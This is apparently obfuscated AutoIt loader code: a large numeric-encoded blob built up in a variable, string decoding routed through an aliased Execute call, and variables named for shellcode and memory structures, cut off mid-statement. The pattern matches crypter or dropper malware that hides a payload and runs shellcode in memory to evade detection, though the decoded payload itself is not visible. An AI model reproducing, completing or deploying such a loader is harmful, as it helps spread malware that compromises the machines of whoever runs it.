("57,58,57,54,56,6,57,54,56,57,57,59,56,55,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,53,57,57,56,60,56,59,56,6,57,56,56,6,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,59,56,54,57,59,57,54,57,54,57,54,57,54,57,56,56,60,56,57,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,60,57,54,56,6,56,56,56,5,56,59,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,55,57,54,57,54,57,54,57,54,57,55,56,5,56,6,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,59,57,55,57,57,56,53,57,57,56,60,56,54,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,56,56,60,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,57,57,57,56,56,56,59,56,60,56,54,56,6,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,55,57,56,56,60,57,57,56,6,57,58,56,53,56,57,56,57,57,57,56,57,56,57,57,54,57,54,56,54,57,59,56,59,56,60,56,6,57,56,56,56,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,6,56,55,56,60,56,6,56,5,56,53,57,56,57,55,56,60,56,6,56,5,56,53,57,56,57,54,57,57,56,6,56,5,56,53,57,56,57,56,56,6,56,6,56,5,56,53,57,56,57,54,56,6,56,6,56,5,56,53,57,56,57,56,57,57,56,60,56,57,57,54,56,57,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,56,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,56,6,57,57,57,57,56,60,56,58,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,59,56,57,57,55,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,56,58,57,55,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,56,55,56,53,56,55,56,53,56,54,56,6,56,60,57,57,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,53,56,55,56,53,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,55,56,53,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,60,56,55,56,57,57,54,57,54,56,5,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,6,56,60,56,60,56,59,56,55,56,53,56,54,57,59,56,59,56,6,56,6,57,56,56,56,56,55,57,58,56,56,56,55,56,60,56,55,56,53,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,56,60,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56,5,56,53,57,56,56,60,56,6,57,54,57,54,56,5,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5,56,60,57,57,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,57,58,57,58,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,55,56,60,57,55,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,56,57,55,56,6,57,58,56,56,56,54,56,55,56,60,56,55,56,53,56,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,54,57,59,56,56,56,60,56,6,56,5,56,56,56,55,57,56,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,56,55,56,53,56,54,56,6,56,59,57,54,56,60,56,60,56,60,57,54,56,60,56,60,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,60,56,6,56,5,56,53,57,56,57,56,56,56,57,54,57,54,56,5,56,55,56,6,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,58,56,55,56,6,57,58,56,56,56,55,57,56,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,56,5,56,56,56,55,57,56,56,6,56,6,57,56,56,56,56,55,57,56,56,6,56,55,56,60,56,55,56,53,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,56,5,56,60,56,6,57,58,56,56,56,54,56,57,56,56,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,56,56,60,56,6,56,5,56,56,56,55,57,56,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,58,56,60,57,54,56,57,57,58,56,56,56,54,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,53,56,53,56,60,57,59,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,56,55,56,53,56,55,56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,59,57,59,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,54,57,54,56,53,56,55,57,54,57,57,56,54,57,59,57,54,57,54,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,56,5,57,54,57,58,57,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,54,56,55,56,56,56,6,57,58,56,55,57,58,56,57,57,57,57,54,57,54,56,53,56,55,56,60,57,57,57,54,57,54,56,53,56,55,57,54,57,57,57,54,57,54,56,5,56,55,56,55,56,56,56,60,56,59,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,6,56,5,56,53,57,56,57,55,56,56,56,54,56,54,56,57,57,58,56,56,56,54,56,60,56,54,56,53,56,57,56,57,56,58,56,6,57,58,56,56,56,55,56,60,57,57,56,6,57,56,56,5,57,57,56,60,56,57,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,60,56,57,56,60,56,57,56,56,56,55,56,60,57,57,57,54,57,54,56,53,56,57,57,54,57,57,56,55,56,60,56,6,57,58,56,56,56,57,57,54,56,6,56,60,56,57,56,56,56,55,57,54,57,57,56,55,56,60,57,54,57,54,56,5" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,60,57,54,57,58,56,53,56,56,56,54,56,60,56,54,56,6,56,57,57,57,56,56,56,60,57,57,57,54,57,54,56,56,56,55,57,55,56,56,56,6,56,57,57,57,56,57,56,58,56,6,56,57,56,5,56,56,56,55,57,55,56,56,56,53,56,58,57,56,56,6,56,6,57,56,56,56,56,55,57,57,57,57,56,55,56,60,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("5,56,53,57,56,57,57,57,57,57,54,57,54,56,5,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,60,56,53,56,60,56,60,56,60,56,59,56,60,56,60,57,54,57,54,56,5,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,54,56,58,56,6,56,60,56,57,56,56,56,55,57,54,56,6,56,6,56,5,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,57,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,6,56,60,56,59,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,55,56,6,57,55,56,5,56,58,57,55,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,56,56,57,54,56,6,56,6,56,59,57,55,57,57,56,58,56,6,56,60,56,56,56,60,56,60,56,60,56,60,56,6,56,57,57,59,56,56,56,58,56,56,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,54,56,55,56,53,56,6,56,59,57,55,57,57,56,53,56,6,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,57,56,60,56,60,56,56,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,57,54,57,58,57,55,56,58,57,54,57,54,57,54,57,54,56,54,57,59,56,55,57,55,56,55,56,5,56,54,57,59,56,54,56,54,56,6,57,58,57,54,56,60,56,55,56,6,56,54,57,59,56,53,56,58,56,6,57,56,56,53,57,57,56,58,56,56,56,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,57,54,56,57,57,59,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,58,56,55,56,6,56,54,57,59,56,54,57,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,54,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,6,56,55,56,6,56,54,57,59,56,53,56,5,56,54,56,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,59,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,57,56,55,56,6,56,54,57,59,56,53,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,55,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,58,56,55,56,6,56,54,57,59,56,54,57,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("58,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,6,56,55,56,6,56,54,57,59,56,54,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,59,56,55,56,6,56,54,57,59,56,54,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,57,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,55,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,58,56,56,56,57,56,60,56,55,56,6,56,54,57,59,56,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,58,56,55,56,6,56,54,57,59,56,57,56,59,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,55,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,57,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,6,57,56,56,56,56,56,56,58,56,56,56,60,57,57,56,55,56,60,56,54,57,59,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,54,57,59,56,60,56,60,57,54,57,54,56,55,56,56,56,58,56,56,56,55,56,6,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,56,56,58,56,56,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,5,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,56,56,58,56,56,57,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,57,54,56,5,56,56,56,58,56,56,56,6,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,58,56,59,56,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,58,56,56,56,60,56,6,56,6,56,57,56,53,57,57,56,58,56,56,56,60,56,6,56,54,56,56,56,53,57,56,56,58,57,57,56,6,56,59,57,55,57,57,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,57,54,57,54,56,53,56,55,56,60,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,58,57,57,56,60,56,57,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,56,58,56,57,57,54,57,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,54,57,54,56,56,56,56,56,58,56,56,56,60,56,6,56,6,56,55,57,57,56,60,56,53,56,56,57,57,57,56,56,55,57,54,56,55,57,55,56,6,57,58,57,55,56,55,56,55,57,56,57,57,56,58,56,60,56,6,56,60,56,60,56,55,56,59,56,6,57,56,56,56,57,57,56,58,56,56,56,60,56,56,56,58,57,58,57,57,56,6,56,59,57,58,57,57,56,60,57,54,56,53,57,56,56,60,56,58,56,57,57,57,56,6,56,6,57,58,57,57,56,56,56,58,56,55,56,60,56,60,57,54,56,60,57,54,57,54,57,54,57,54,56,57,57,58,57,57,56,6,56,53,56,58,56,60,57,59,56,6,57,58,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,59,56,55,56,5,56,5,56,56,56,6,57,58,56,60,56,60,56,6,56,5,56,60,56,56,56,58,56,56,57,57,56,57,56,58,57,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,60,56,60,57,55,57,58,57,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" ) LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) ) LOCAL $LEPUTAIN = TEYWNKUHGE ($LMASCGP ) LOCAL $BINL = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,59,3,59,58,60,53,60,58,60,57,59,54,59,62,59,5,55,62" ) ) ) LOCAL $LPSHELLCODE = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,55,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,55,55,58,59,59,62,60,55,60,57,60,58,59,54,59,3,57,54,59,3,59,3,59,6,59,56,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,55,59,62,59,5,57,3,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,56,56,53,56,53,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,57,56,53,55,55,55,62,58,2,55,55,56,53,55,55,58,4" ) ) ) LOCAL $FILE_STRUCT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,60,56,59,62,59,3,59,2,60,55,59,58,59,59,60,58,59,57,58,2,55,55,55,53,55,59,55,53,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,5,55,61,55,57,59,57,59,54,60,57,59,54,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA 